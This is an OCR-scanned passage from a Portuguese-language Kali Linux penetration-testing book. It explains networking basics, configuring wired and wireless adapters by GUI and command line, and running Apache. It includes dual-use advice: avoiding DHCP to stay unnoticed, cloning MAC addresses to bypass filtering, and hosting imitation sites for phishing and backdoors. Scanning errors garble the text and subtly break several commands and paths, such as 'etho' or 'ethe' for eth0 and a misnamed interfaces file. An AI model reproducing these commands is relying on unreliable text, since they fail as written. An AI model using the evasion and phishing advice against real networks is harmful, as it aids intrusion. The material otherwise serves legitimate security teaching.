que a ideia de remorso passe pelo pensamento. Até que um usudrio se sinta a vontade com o uso dessas
ferramentas, é aconselhavel que esse tipo de treinamento pratico seja feito em um sistema separado ou
em um ambiente virtual.



cApPiTULO 4
Configuracao do Kali Linux

Informagoes contidas neste capitulo:

o Usar as configuracoes default do Kali Linux pode ser uma vantagem durante o aprendizado, porém,
com frequéncia, é necessario modificar as configuragdes basicas a fim de maximizar o uso dessa
plataforma.

Visao geral do capitulo e principais pontos de aprendizagem
Este capitulo explica:

« 0 basico sobre redes

« 0 uso da interface grafica de usudrio para configurar as interfaces de rede

« 0 uso da linha de comando para configurar as interfaces de rede

« 0 uso da interface grafica de usudrio para configurar placas wireless

e 0 uso da linha de comando para configurar placas wireless

« como iniciar, finalizar e reiniciar o servidor Apache

 como instalar um servidor FTP

« como iniciar, finalizar e reiniciar o servidor SSH

« como montar uma midia externa

» como fazer um update do Kali

« como fazer um upgrade do Kali

» como adicionar o repositorio do Debian

Sobre este capitulo

A interconexdo em rede é a maneira pela qual os computadores e outros dispositivos eletronicos
modernos se comunicam uns com os outros. Ela pode ser vista como os caminhos ou as vias entre os
dispositivos, juntamente com regras e requisitos (protocolos), leis de trafego (conjuntos de regras e
configuracgdes), equipes de manuten¢ao (servigos de rede), aplicagdo de leis (seguranca de rede) e vias
fechadas e privadas (portas de firewall e restrigdes de protocolos — também como parte da seguranca).
Nas secoes a seguir, o basico sobre a interconexdo em rede sera descrito, bem como os passos
necessarios para configurar a conexao com a rede de forma correta no Kali.

A interconexdo em rede ¢ um assunto complexo, e este capitulo mal toca a superficie quando se trata
desse topico. A explicacio apresentada aqui serve somente para contextualizar e apresentar os
elementos necessarios para configurar os componentes da rede no Kali Linux de forma bem-sucedida.



Para compreender as redes de modo mais detalhado, dé uma olhada no livro Networking Explained, 22
edicdo, de Michael Gallo e William Hancock. Essa explicagdo proporcionara ao leitor um entendimento
basico dos componentes mais elementares da rede.

O basico sobre redes

A interconexao em rede pode ser vista como uma série de caminhos eletronicos entre os computadores.
Esses caminhos podem ser fisicos, mais comumente cabos de cobre de categoria 5 ou 6 (CAT 5 ou CAT
6) ou cabos de fibra éptica. As redes wireless usam transmissores e receptores de radio especiais para
realizar as mesmas tarefas basicas efetuadas pelas redes fisicas. Uma NIC (Network Interface Card, ou
Placa de Interface de Rede) com fio estd sendo mostrada na figura 4.1, e um mddulo wireless, na figura
4.2.
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Figura 4.1 - Network Interface Card (Placa de Interface de Rede).
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Figura 4.2 - Placa de expansdo de rede wireless.

Independentemente do meio, as redes fisicas e wireless possuem os mesmos componentes basicos. Em
primeiro lugar, ha dois ou mais dispositivos que estardo se comunicando, por exemplo, o computador
de Adam estara se comunicando com o computador de Bill. Para isso, eles precisarao dos equipamentos
de comunica¢ido adequados operando no meio adequado. Nesse exemplo, Adam estara se conectando a
mesma rede fisica baseada em CAT5 a qual Bill esta conectado; no entanto Bill poderia estar usando
uma placa de rede wireless e Adam poderia estar usando uma placa de rede com fio, desde que os
protocolos e as configuracdes para ambos estejam corretos. Para que isso funcione corretamente, tanto
Adam quanto Bill devem se conectar ao mesmo segmento de rede usando um dispositivo, por exemplo,
um roteador wireless, que conectara os diferentes tipos de meios fisicos - com e sem fio.

Existem varios componentes que fazem parte de uma rede moderna, e explicar a interconexao em rede
de modo completo estd muito além do escopo deste livro; entretanto o pequeno segmento de rede que
sera explicado sera suficiente para descrever o modo de configurar uma placa de rede. Essa rede
pequena é formada somente por dois computadores sendo usados por Adam e Bill, um roteador com
fio conectado a um cable modem e os cabos que conectam tudo (todos CAT5 nesse exemplo). O
roteador possui um endereco IP (Internet Protocol, ou Protocolo de Internet) interno igual a
192.168.1.1, que é bastante comum em configuragées padrio de home offices de pequeno porte
(SOHO, ou Small Office Home Office) e em redes domésticas. Esse pequeno roteador conecta-se a
internet por meio de sua conexdo externa usando um enderego IP atribuido pelo Internet Service
Provider, que permitira a Adam e Bill navegar pela web apds terem configurado corretamente suas
placas de rede. Nesse exemplo, o roteador também prové o DHCP (Dynamic Host Configuration
Protocol, ou Protocolo de Configura¢do Dindmica de Hosts), as fung¢des basicas de firewall e o DNS
(Domain Name Service); cada um desses sera discutido posteriormente com mais detalhes. Essa rede
esta sendo mostrada na figura 4.3 e sera a rede basica usada em todos os capitulos seguintes.

Enderecamento privado

A interface interna (ou placa de rede) do roteador possui um endereco IP igual a 192.168.1.1, que é
chamado de endereco privado, pois nao pode ser usado na internet. Nao ha problemas para a rede
interna representada pela caixa cinza na figura 4.3, assim como para todos os enderegos atribuidos pelo
DHCP, por exemplo, os enderegos IP atribuidos aos computadores de Adam e de Bill. A tabela 4.1 lista



os enderecos IP privados que sio comuns e que podem ser usados para redes internas ou privadas,
porém ndo para a internet.
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Figura 4.3 — Exemplo de um pequeno segmento de rede.

Tabela 4.1 — Enderecos IP privados

Faixadeenderecos IP  |Quantidade de enderegos possiveis
10.0.0.0210.255.255.255 16.777.216
172.16.0.0a172.31.255.255 | 1.048.576
192.168.0.02192.168.255.255 | 65.536

Para acessar a internet, o roteador faz uma pequena magica chamada NAT (Network Address
Translation, ou Traducao de Enderecos de Rede), que converte os enderecos IP usados por Adam e Bill
em enderegos que possam ser usados na internet. Esse normalmente é o endereco atribuido ao roteador
pelo provedor de internet e sera atribuido a interface externa (outra placa de rede). Se um usuario
tentasse usar esses enderecos na internet, sem um roteador que realize o NAT, a comunicac¢io iria
falhar, pois os roteadores e outros dispositivos da internet rejeitariam esses enderecos IP privados.

Gateway default

O roteador separa as duas redes, interna e externa, e prové algumas func¢des basicas de seguranga, como
a funciao de um firewall rudimentar. Além disso, o roteador disponibiliza um caminho da rede privada
para a rede publica, que normalmente ¢ a internet. Por esse motivo, o endereco IP da interface interna
dos roteadores representa o caminho para sair da rede de Adam e de Bill. Esse endereco, chamado de
gateway default, serd usado posteriormente na configuragio das placas de rede dos computadores
desses dois usuarios. Uma boa maneira de ver o gateway default é encara-lo como a unica estrada para
sair de uma pequena cidade. Qualquer pessoa que quiser sair da cidade deve saber onde fica essa
estrada. Em uma rede, os computadores (por meio da placa de rede) devem saber onde esta o caminho



para sair da rede local, ou seja, o gateway default.

Servidor de nomes

Os computadores conversam uns com os outros por meio de numeros, enquanto as pessoas se
comunicam muito melhor com palavras e frases. Para que a comunica¢io funcione de forma correta, as
redes normalmente utilizam um servidor de nomes, ou DNS (Domain Name Service). Este livro
discutira o DNS com mais detalhes posteriormente, portanto apenas uma visao geral global do DNS
sera apresentada neste capitulo. Basicamente, o servidor de nomes traduz nomes mais adequados aos
seres humanos (como www.syngress.com) em um endereco IP com o qual os computadores e os
componentes da rede lidam mais facilmente. O DNS, sinonimo de servidor de nomes, proporciona a
traducdo entre enderegos mais adequados aos seres humanos e enderegos mais adequados aos
computadores. Por exemplo, quando um computador quiser se comunicar com outro computador, um
servidor web, por exemplo, o endere¢o mais adequado ao ser humano deve ser inicialmente traduzido
para um endere¢o mais adequado ao computador, que podera ser usado para encaminhar a mensagem.
Uma pessoa digita www.syngress.com em seu navegador favorito e o computador encaminha esse
endereco para que seja resolvido por um computador DNS. O DNS responde com o endereco IP do
computador que hospeda as paginas web (69.163.177.2). Entdo o computador do usuario utilizara esse
endereco IP para se comunicar com o servidor web da Syngress, e o usudrio podera interagir com a
pagina web da Syngress. Sem esse servico, os seres humanos seriam obrigados a memorizar o endereco
IP dnico de cada site. Isso significa que as pessoas teriam de se lembrar do endere¢o 69.163.177.2, e
nao de syngress.com. A configuracdo manual de uma placa de rede exige a identificacdo de um DNS, ou
de um servidor de nomes.

DHCP

Em se tratando de pura magica de rede, nada supera o DHCP. Com um computador configurado para
efetuar a configuragdo automatica do DHCP, tudo o que o usudario tem a fazer é se conectar a um cabo
de rede que esteja funcionando e comegar a trabalhar. Isso é feito quando o computador inicia a
comunicagdo na rede a procura de um servidor DHCP, enviando uma solicita¢io de broadcast em
busca desse servidor. O servidor responde ao cliente e atribui configuragdes de rede ao computador que
estiver efetuando a solicitagdo. Isso inclui um endereco IP para o computador (bem, na realidade, é
somente para a placa de rede, mas isso é somente um mero detalhe nessa explicagdo), o gateway
default, o servidor de nomes - ou servidores de nomes — e a mascara de sub-rede default. Na maioria
dos casos, essa é uma Otima maneira de configurar sua placa de rede; entretanto, se vocé estiver
realizando um teste de invasdo, usar o DHCP para configurar sua placa de rede fard com que todos
fiquem sabendo que vocé esta entrando na rede, o que normalmente nao é algo interessante.

O basico sobre sub-redes

O uso de sub-redes é um assunto que pode ser confuso para muitas pessoas, portanto, neste livro, esse
uso sera explicado somente como uma maneira de configurar redes da melhor maneira possivel de
modo a economizar enderecos IP. Isso é feito aplicando-se uma mascara que filtrara parte do endereco



IP do computador, permitindo descobrir o enderecamento das redes. Retornando ao exemplo da
Syngress, o endereco IP ¢ igual a 69.163.177.2, e, se estivéssemos em uma rede pequena com menos de
255 usuarios, poderiamos usar uma mascara de sub-rede classe C igual a 255.255.255.0. Ao aplicar a
mascara, partes do enderego serdo canceladas enquanto outras serdo preservadas, permitindo que os
computadores da rede saibam em que rede estio. Um exemplo basico de uma mascara de sub-rede usa
somente os octetos de numeros 255 e 0; sendo assim, para identificar a rede, qualquer parte do
endereco combinado com um 255 néo sera alterada; portanto os trés primeiros octetos do endereco IP
(69, 163, 177) serdao combinados com 255, permitindo que os numeros originais sejam preservados.
Qualquer niimero combinado com 0 sera totalmente cancelado, portanto o dltimo octeto do endereco,
ou seja, 2, sera cancelado, resultando em 0. Desse modo, ao aplicar a mascara de sub-rede igual a
255.255.255.0 ao endereco 69.163.177.2, descobriremos que o endereco de rede é 69.163.177.0. Na
maioria das redes pequenas, uma mascara de sub-rede igual a 255.255.255.0 serd conveniente; redes
maiores exigirdio uma mascara de sub-rede diferente, que podera ser calculada para disponibilizar
servicos a uma quantidade especifica de hosts na rede.

Configurac¢des default do Kali Linux

Como explicado anteriormente, a maioria dos pentesters — os hackers white hat - ndo vai querer que
suas placas de rede anunciem sua presenca na rede assim que o computador se conectar. E exatamente
isso o que fara o Kali Linux ao ser iniciado e se conectar com uma rede. Devemos tomar cuidado ao
realizar um teste de invasdo para evitar essa comunica¢io extra desnecessaria desabilitando a placa de
rede antes de conectd-la a rede. Em instalacdes personalizadas, incluindo a instalagio em um disco
rigido, em um pen drive ou em um cartdo SD, essa configuragdo automatica de rede pode ser alterada.
Outra maneira de alterar isso é criando um live disk personalizado que sera configurado para realizar a
configuracdo manual da rede. Esses métodos serao discutidos no capitulo 5 — sobre a personaliza¢ao do
Kali Linux.

Uso da interface grafica de usuario para configurar as interfaces de rede

Configurar as placas de rede no Linux, também conhecidas como adaptadores de rede, ja foi um
processo que podia ser realizado somente por meio da linha de comando. Isso mudou nos tultimos anos,
e com o Kali Linux nido foi diferente; com efeito, o Kali Linux possui uma GUI (Graphical User
Interface, ou Interface Grafica de Usudrio) robusta, que permite que varias configuragbes comuns sejam
feitas por meio de caixas de didlogo simples. A caixa de didlogo para configuracoes de rede é facilmente
acessivel selecionando Applications (Aplicagdes) no canto superior direito da interface do usudrio (Figura
4.4) e, em seguida, selecionando System Tools (Ferramentas do sistema), Preferences (Preferéncias ) e
Network Connections (Conexodes de rede).
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Figura 4.4 - Configuragdo de rede por meio da interface grdfica.

Ao clicar em Network Connections, a caixa de didlogo para conexdes de rede serd apresentada; a aba Wired
(Com fio) estard selecionada por default (Figura 4.5). De modo alternativo, clicar com o botao da
direita do mouse nos dois computadores na parte superior a direita da tela, como mostrado na figura
4.6, e selecionar Edit Connections (Alterar conexdes) permitird o acesso a mesma caixa de didlogo. Na
maioria dos casos, os computadores terdo somente uma placa de rede a ser configurada; caso haja varias
NICs instaladas, certifique-se de estar configurando a placa correta. Neste exemplo, configuraremos
Wired connection 1 (Conexdo com fio 1) - um nome que podera ser alterado se vocé desejar algo mais
significativo —, que corresponde a unica placa de rede fisica do computador. A caixa de didlogo para
efetuar a configuragdo sera apresentada depois que a conexao a ser alterada for selecionada e o botdo
Edit (Alterar) for clicado. Isso fard a caixa de didlogo Editing (Alteragdo) relativa a conexdo ser
apresentada, com a aba Wired selecionada por default. Essa aba mostra o enderego MAC (Media Access
Control) dos dispositivos, um endereco concebido para permanecer o mesmo durante toda a vida do
dispositivo; veja a observagdo acerca dos enderegos MAC (pagina 75) para obter mais informagdes sobre
eles. O identificador dos dispositivos também é apresentado entre parénteses apds o enderego MAC.
Nesse caso, o identificador do dispositivo é eth0, em que eth é a abreviatura de Ethernet e 0
corresponde a primeira placa do computador. A sequéncia de numeragao para as placas de rede se



inicia em 0, e ndo em 1, portanto a segunda placa do computador correspondera a ethl.

Editing Wired connection 1

Connection name:

¥ Connect automatically

Wired  802.1x Security/ IPv4 Settings | IPv6 Settings

Method: Manual "

Addresses

Address Netmask Gateway Add

192.168.1.66 2'55.25 5.255.0 192.168.1.1

Delete

DMS servers: 192.168.1.1

Search domains;

Require |Pv4 addressing for this connection to complete

Routes...

¥ Available to all users Cancel Save...

Figura 4.5 - Configuragdo de rede com fio por meio da interface grdfica.
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Enable Notifications

Connection Information

Edit Connections...

About

Figura 4.6 — Alternativa para acessar a configuracdo de rede com fio por meio da interface grdfica.

As configuracoes de Wired Ethernet podem ser feitas por meio da selegio da aba 802.1x Security
(Seguranca 802.1x), de IPv4 Settings (Configuracoes de IPv4) ou de IPv6 Settings (Configuracoes de IPv6).



Este livro foca na configura¢io dos parametros para o IP versio 4 (IPv4), portanto essa aba sera
selecionada. Apos seleciona-la, vocé vera as configuragdes para o endereco IP do computador
(192.168.1.66), a mascara de sub-rede ou netmask (255.255.255.0), o gateway (192.168.1.1) e os
servidores DNS (192.168.1.1). Varios servidores DNS podem ser usados separados por uma virgula. A
configura¢do pode ser salva e ativada ao ser selecionado o botdo Save (Salvar).

Uso da linha de comando para configurar as interfaces de rede

E importante saber como configurar, ou reconfigurar, o adaptador de rede a partir do prompt de
comando; isso sera util quando ndo estivermos usando a interface grafica para o Linux ou se vocé
estiver conectado remotamente a um sistema por meio de uma janela do terminal. Ha varias ocasides
em um teste de invasio em que a linha de comando serd a tinica opg¢do para fazer alteracdes em
configuracdes. Essas alteracoes deverao ser feitas por um usudrio com nivel de permissdes elevado; usar
a conta root é uma boa maneira de fazer essas alteragdes em uma distribuicio live, e fazer uso do
comando sudo é outra op¢do em instalagdes do Kali Linux. Apds ter o nivel de permissao elevado, a
placa de rede podera ser configurada.

A verificacdo do status das placas de rede dos computadores e do status de cada placa é feita por meio
do comando a seguir:

ifconfig -a
Esse comando apresenta a configuracdo corrente de todas as placas de rede do computador. Na figura
4.7, dois enderecos de rede estdo sendo mostrados: ethe, que corresponde a primeira placa Ethernet, e
lo, que corresponde ao loopback ou a interface interna. As configuracdes desse adaptador foram
definidas por meio da interface gréfica. E facil alterar esses parametros usando o prompt de comando.

:~# ifconfig -a
Link encap:Ethernet HWaddr 08:00:27:a0:10:cl
inet addr:192.168.1. 5 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: feB0::a00:27ff:feal:10cl/64 Scope:Link
UP BROADCAST RUNNING H LTICAST MTU:1508 Metric:1
RX packets:160778 errors:0 dropped:62 overruns:? frame:0
TX packets:83465 errors:0 dropped:Q@ overruns:0 carrier:0
collisions:0 txqueuelen:1Q00Q
RX bytes:211542864 (201.7 MiB) TX bytes:5959731 (5.6 MiRE)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:l

RX packets:246 errors:0 dropped:@ overruns:0 frame:0
TX packets:246 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 tnquuuﬁlrﬁn 6]

RX bytes:18728 (18.2 KiB) TX byt

Figura 4.7 - Visualizando o status das configuragoes de rede por meio da linha de comando.

Ativando e desativando a interface



A interface pode ser ativada por meio da op¢ao up, ou desativada com a op¢do down, do comando
ifconfig, especificando-se a interface a ser ativada ou desativada. O comando a seguir desativa o
primeiro adaptador Ethernet.

ifconfig etho® down
O comando a seguir ativa o primeiro adaptador Ethernet.
ifconfig etho up

O endereco IP desse adaptador pode ser alterado de 192.168.1.66, que corresponde a sua configuracio
atual, para 192.168.1.22, por meio do comando a seguir:

ifconfig ethe 192.168.1.22

A linha de comando pode ser usada também para alterar a mascara de rede por meio do comando a
seguir. Esse comando configura o endereco IP para 192.168.1.22 e configura a mascara de sub-rede
para 255.255.255.0.

ifconfig ethe 192.168.1.22 netmask 255.255.255.0

Uma configuragdo completa da placa de rede pela linha de comando exige um pouco mais de trabalho
em relacdo a usar a interface grafica de usuario, pois nem todos os parametros de configuragio estao
armazenados no mesmo local. O gateway default é adicionado ou alterado, nesse caso para 192.168.1.2,
por meio do seguinte comando:

route add default gw 192.168.1.2

As configura¢oes do servidor de nomes (ou DNS) sao alteradas ao se modificar o arquivo resolv.conf
que esta no diretdrio /etc. Essa configuracdo pode ser alterada por meio da edigdo do arquivo com o seu
editor favorito ou simplesmente se for usado o comando a seguir no prompt de comando:

echo nameserver 4.4.4.4 > /etc/resolv.conf

O comando anterior removera o nameserver existente e o substituird por 4.4.4.4. Para acrescentar
nameservers adicionais, o comando a seguir incluira novos enderegos de nameservers aqueles ja listados
em resolv.conf. Quando o computador realizar o lookup de um nome, ele verificard os trés primeiros
nameservers na ordem em que estiverem listados.

echo nameserver 8.8.8.8 >> /etc/resolv.conf

DHCP a partir do prompt de comando

Uma das maneiras mais faceis de configurar uma placa de rede é usando os servicos do DHCP para
configura-la. Dessa maneira, o servidor DHCP fornecera todos os parametros de configuracio
necessarios a placa. Isso é conveniente para a maioria dos usudrios finais, porém néo é ideal ao realizar
testes de invasdo, pois o sistema sendo configurado serd registrado no banco de dados do servidor
DHCP. Use os comandos a seguir para desabilitar a configuragio automatica do DHCP ao realizar
testes de invasdo. Este exemplo usa o editor nano, porém outros editores de texto podem ser usados.

nano /etc/networking/interfaces

#adicione as linhas a seguir##

auto etho

iface ethe inet static
address {endere¢o IP}



netmask {mdscara de rede}
gateway {endereco IP do gateway}

Salve o arquivo texto e saia para concluir a modificagdo. Pode ser que seja necessario desabilitar e
habilitar novamente as interfaces Ethernet para habilitar essa configuragao.

Para configurar a primeira placa de rede, basta digitar o comando a seguir no prompt de comando:
dhclient etho

Isso fara a placa de rede ser automaticamente configurada usando os parametros fornecidos pelo
servidor DHCP.

O uso da GUI para configurar placas wireless

A configuragdo da placa de rede wireless pode ser realizada por meio da GUI descrita anteriormente na
configuracdo da interface Ethernet por meio da interface grafica. Nesse caso, em vez de selecionar a aba
Wired (Com fio), selecione a aba Wireless (Sem fio) na caixa de dialogo Network Connections (Conexoes de
rede).

Nessa aba, selecione o botdo Add (Adicionar), que fara uma caixa de didlogo intitulada Editing Wireless
connection 1 (Alterar a conexao wireless 1) ser apresentada (supondo que esse é o primeiro adaptador
wireless). Essa caixa de dialogo possui quatro abas usadas para permitir a configura¢ao da placa wireless,
conforme mostrado na figura 4.8. Ela contém varios pardmetros usados para configurar a placa wireless
dos sistemas.



Editing Wireless connection 1

Connection name; ireless connection 1

¥ Connect automatically

| Wireless | Wireless Security | IPv4 Settings | IPvb Settings

SSID: L
Mode: Infrastructure W
B55SID:

Device MAL address: e

Cloned MAC address:

MTLU: automatic + | bytes

Cancel

Figura 4.8 — Configuragdo da conexdo de rede wireless por meio da interface grdfica.

Nome da conexao

O parametro relativo ao nome da conexao apresenta Wireless connection seguido do nimero do adaptador
sendo configurado como default — nesse caso, Wireless connection 1 (Conexao wireless 1). Esse nome pode
ser alterado para algo mais significativo, por exemplo dient1 wireless connection.

Caixa de sele¢iao para conexao automatica (Connect Automatically)

Se a caixa de selecdo Connect automatically (Conectar-se automaticamente) estiver selecionada, o sistema
tentara se conectar automaticamente a rede wireless quando o computador for iniciado, sem a
intervenc¢do do usudario. Assim como o DHCP descrito anteriormente, isso pode ser conveniente para a
maioria dos usuarios Linux, mas, com frequéncia, ndo sera a melhor op¢io para o pentester, pois pode
anunciar sua presenca na rede. Se a sele¢do for removida, o pentester ira habilitar manualmente o
adaptador wireless.



A aba Wireless

Service Set Identifier

O SSID (Service Set Identifier) corresponde ao nome da rede usado para identificar logicamente a rede
wireless. Toda rede possui um tnico SSID que a identifica, e esse nome sera usado pelos clientes para
que possam se conectar a rede. Em redes com pontos de acesso central, o SSID ¢é configurado no ponto
de acesso e todos os clientes devem usar esse SSID para se conectar a rede. Em redes com varios pontos
de acesso, o SSID deve ser o mesmo em todos para permitir a comunicacio.

Mode (Modo)

A placa wireless pode ser configurada de acordo com dois modos: ad hoc ou infraestrutura. As redes ad
hoc normalmente correspondem a conexdes wireless informais entre computadores, sem um ponto de
acesso central executando as fungdes de gerenciamento de rede. Nessas conexdes, toda conexdao
wireless deve ser configurada para corresponder as configuracdes wireless dos demais computadores
para que a conexdo possa ser estabelecida. Em modo de infraestrutura, os pontos de acesso centrais
administram a conexdo dos clientes com a rede e com outros computadores no conjunto de servigos.
Todos os clientes devem ser configurados de acordo com as configura¢des definidas no ponto de acesso.
A principal diferenca entre essas duas opgdes esta no fato de nao haver nenhuma administragio central
em redes ad hoc, enquanto os pontos de acesso administram as conexdes de forma centralizada no
modo de infraestrutura.

Basic Service Set Identification

O BSSID (Basic Service Set Identifier) é usado em modo de infraestrutura para identificar o endereco
MAC (Media Access Control) do ponto de acesso. De modo diferente do SSID, cada ponto de acesso
tera um BSSID unico, pois cada um devera ter um endereco MAC unico.

Device MAC address (Endereco MAC do dispositivo)

O campo para o endereco MAC do dispositivo é usado para associar essa configuracdo a um adaptador
wireless fisico. Isso é conveniente quando um computador tem mais de um adaptador wireless. A lista
suspensa para esse campo sera preenchida com os enderecos MAC dos adaptadores wireless que
estiverem ativos. Basta selecionar o endereco MAC correto para o adaptador que vocé estiver
configurando.

Cloned MAC address (Endereco MAC clonado)

Em varias ocasides, o pentester ndo vai querer usar o endereco MAC verdadeiro do adaptador que
estiver sendo usado no computador. Isso pode ser feito para passar pelos procedimentos simples de
seguranca, como a filtragem de enderecos MAC, em que somente os sistemas com enderecos MAC
especificos podem se conectar a rede. Também pode ser feito com o intuito de mascarar o seu
adaptador wireless para que pareca ser de outro fabricante, de modo a ser compativel com as placas
wireless sendo usadas na rede wireless. Insira o endereco MAC que deve ser clonado e usado para esse
adaptador.



Maximum Transmission Unit

O MTU (Maximum Transmission Unit, ou Unidade Maxima de Transmissao) é uma configura¢ao de
rede usada para determinar o tamanho maximo que os pacotes de rede podem ter para efetuar a
comunicagdo com o computador. Na maioria dos casos, o MTU pode ser configurado para ser
automatico e funcionara de modo apropriado. Nos casos em que as aplicagdes exigirem um MTU
especifico, consulte a documentagido dessas aplicagoes para determinar o MTU e configure-o nesse
local.

A aba Wireless Security

A lista suspensa Security

A lista suspensa Security (Segurancga) é usada para selecionar o método para garantir a seguranca da rede
wireless. Em redes ad hoc, os usuarios da rede determinam as configuragdes de seguranca corretas,
garantindo que as configuracoes de seguranca de cada cliente sejam correspondentes as dos demais
computadores da rede. Em modo de infraestrutura, cada cliente deve ser configurado para
corresponder as configuragdes de seguranca do ponto de acesso.

Wired Equivalent Privacy

O WEP (Wired Equivalent Privacy) é um método de seguran¢a mais antigo, que utiliza uma tecnologia
basica de criptografia para proporcionar um método de segurancga equivalente ao de sistemas com fio. O
WEP usa uma chave com 10 ou 26 caracteres hexadecimais para garantir a seguran¢a da comunicagao.
O padrio usado na criptografia WEP apresenta falhas de seguranca que permitem aos pentesters
quebrar facilmente a maioria de suas chaves de criptografia. O Dynamic WEP usa as medidas de
seguranca para portas descritas no IEEE 802.1x a fim de oferecer medidas de seguranca adicionais a
rede wireless.

Lightweight Extensible Authentication Protocol

O LEAP (Lightweight Extensible Authentication Protocol) foi desenvolvido pela Cisco Systems para
oferecer mais seguranca em relacio ao método WEP, que é menos seguro. O LEAP é semelhante ao
Dynamic WEP.

WiFi Protected Access

O WPA (WiFi Protected Access) corresponde a uma tecnologia de acesso que melhora a seguranca de
redes wireless usando o TKIP (Temporal Key Integrity Protocol) e verificagoes de integridade. As redes
que empregam o WPA sio muito mais resistentes a ataques do que as redes wireless protegidas por
meio do WEP. O padrao WPA inicial foi aprimorado com a disponibilizagio do WPA2 e usa um
método de seguranca mais robusto para a criptografia. Em modo WPA-personal, cada computador é
configurado com uma chave gerada por uma senha ou uma frase de verificacio. O WPA-enterprise
exige um servidor RADIUS (Remote Authentication Dial in User Service) central e medidas de
seguranca de porta descritas no 802.1x. Embora seja mais complicado de configurar, o WPA-enterprise
oferece medidas de seguranca adicionais.



Passwords and keys (Senhas e chaves)

Se 0 WEP ou o WPA-personal forem selecionados como o método de seguranca na lista suspensa,
digite a chave de seguranca no campo password/key (senha/chave). Marque a caixa de selecio Show
password/key (Mostrar senha/chave) para conferir se a chave sendo usada foi digitada corretamente. Nos
casos em que a senha nao deve ser mostrada, deixe a caixa de sele¢io desmarcada. Alguns sistemas
utilizam um método de alternar as senhas ou as chaves. Se esse for o caso, insira a senha ou a chave
para cada indice selecionando o indice correto e, em seguida, digitando a chave ou a senha correta para
esse indice.

A rede pode ter uma autenticacdo do tipo open system ou shared key. Na autenticagdo shared key, o ponto
de acesso envia uma mensagem de texto de desafio para o computador que estiver tentando se
conectar. O computador que estiver se conectando criptografa o texto com a chave WEP e retorna o
texto criptografado para o ponto de acesso. O ponto de acesso permite a conexdo se a chave de
criptografia usada pelo computador que estiver se conectando gerar a string criptografada correta. A
autenticacdo open system, por outro lado, permite que os computadores se conectem sem passar por
essa sequéncia de desafio e de resposta, contando com o fato de o computador estar usando o SSID
correto. Em ambos os casos, o canal de comunicacio é estabelecido quando a chave WEP ¢é usada para
garantir a seguranca do canal. Embora a autenticacdo shared key possa parecer mais segura, na verdade,
ela é menos segura, pois o texto de desafio e a resposta textual criptografada sao enviados em formato
texto simples, permitindo que qualquer pessoa que esteja monitorando o canal wireless capture esses
dados. Como a chave WEP ¢é usada para criptografar o texto de desafio, capturar esse texto e a resposta
permite que a chave WEP possa ser determinada.

O método de seguranca LEAP usa nome e senha. Esses devem ser digitados nos campos apropriados se
o LEAP for selecionado.

O Dynamic WEP e o WPA-enterprise exigem que varios parametros, certificados e configuracdes sejam
administrados. Essas configuracoes nao serao discutidas neste texto; no entanto, se vocé estiver se
conectando a uma rede que utilize esses métodos de seguranca, basta inserir os detalhes e fornecer os
certificados corretos.

A aba IPv4 Settings

Depois que as informagdes nas abas Wireless e Wireless Security tiverem sido preenchidas, a configuracao de
IPv4 podera ser efetuada. O processo para configurar esses parametros é idéntico ao processo usado
para configurar a conexdo Ethernet fisica descrita anteriormente.

Salvar

Depois que todas as informagoes necessarias forem fornecidas, salve as configuragdes clicando no botao
Save (Salvar). Apds as configuragdes terem sido salvas, o computador tentara se conectar a rede. Isso
pode ser visto por meio de uma imagem no canto superior direito da tela. Qualquer erro que ocorrer
sera apresentado em uma caixa de dialogo.



Servidor web

O Kali Linux contém um servidor web Apache facil de ser configurado. Ter um servidor web facilmente
configuravel é uma excelente vantagem para o pentester. Por exemplo, ao usar esse servico, é possivel
criar sites de modo a imitar paginas existentes na internet. Esses sites podem entao ser usados para
enviar cddigos maliciosos aos usudrios na rede-alvo por meio do uso de técnicas de engenharia social
como o phishing, incluindo a instalagio de servidores que hospedam backdoors, a manipula¢ao de
callbacks e a disponibilizacao de comandos a outros softwares maliciosos. Ha varios outros usos para o
servico HT'TP em um teste de invasao.

Usando a GUI para iniciar, finalizar e reiniciar o servidor Apache

Usar a GUI é a maneira mais facil de iniciar, finalizar ou reiniciar o web service; para isso, selecione
Applications (Aplica¢des) na barra que esta na parte superior da tela do Kali. A partir do menu suspenso
apresentado, selecione Kali Linux, uma a¢io que fara um submenu ser apresentado. Nesse menu,
selecione System Services (Servicos do sistema), que, por sua vez, fard outro menu ser apresentado;
selecione a op¢ao HTTP nesse menu. As opg¢des para iniciar, finalizar e reiniciar o servigo Apache serdo
apresentadas.

Apos ter feito uma selecdo no menu, um shell de comandos sera iniciado e o status do servidor sera
apresentado. As instalagoes default do Kali Linux mostram um erro quando o servidor Apache é
iniciado ou reiniciado. O erro que podera ser visto apresenta a seguinte mensagem: “Could not reliably
determine the server's fully qualified domain name, using 127.0.0.1 for ServerName” (Nao foi possivel determinar o
nome de dominio completo do servidor de modo confidvel; 127.0.0.1 estd sendo usado para
ServerName). Esse erro ndo causard nenhum problema a essa altura, pois o servidor web estard
disponivel na rede de acordo com o enderego IP dos sistemas. Para corrigir esse erro, altere o arquivo
apache2.conf que esta em /etc/apache2/ adicionando o nome do servidor a ser usado apos serverName no
final desse arquivo e, em seguida, salve-o, como mostrado a seguir:

ServerName localhost
Quando o servidor Apache for iniciado ou reiniciado, a pagina web default podera ser acessada
digitando o endere¢o IP do computador em um navegador web. A distribuicdo Kali Linux inclui o

navegador web IceWeasel, que pode ser acessado por meio de seu icone na barra que estd na parte
superior da tela (um globo azul com uma doninha branca ao redor).

Iniciar, finalizar e reiniciar o Apache no prompt de comando

O servidor HTTP Apache pode ser facilmente iniciado, finalizado e reiniciado por meio do comando
/etc/init.d/apache2, seguido da agdo solicitada (stop, start ou restart). O uso da linha de comando
resulta nas mesmas acoes executadas por meio da GUL

/etc/init.d/apache2 start

/etc/init.d/apache2 stop
/etc/init.d/apache2 restart

A pagina web default



Quando o servigo Apache estiver executando, pode ser necessario alterar a pagina web default (It
works!); para isso, crie o conteido web que devera ser apresentado na pagina e salve-o como index.html
no diretério /var/www/. De modo alternativo, o arquivo index.html existente nesse local pode ser
modificado e novas paginas podem ser adicionadas.

O servidor FTP

O FTP (File Transfer Protocol, ou Protocolo de Transferéncia de Arquivos) é usado para transferir
arquivos entre computadores. E importante observar que o FTP nio criptografa os arquivos ou o canal
de comunica¢do entre os computadores, portanto qualquer arquivo que trafegar pela rede (ou pela
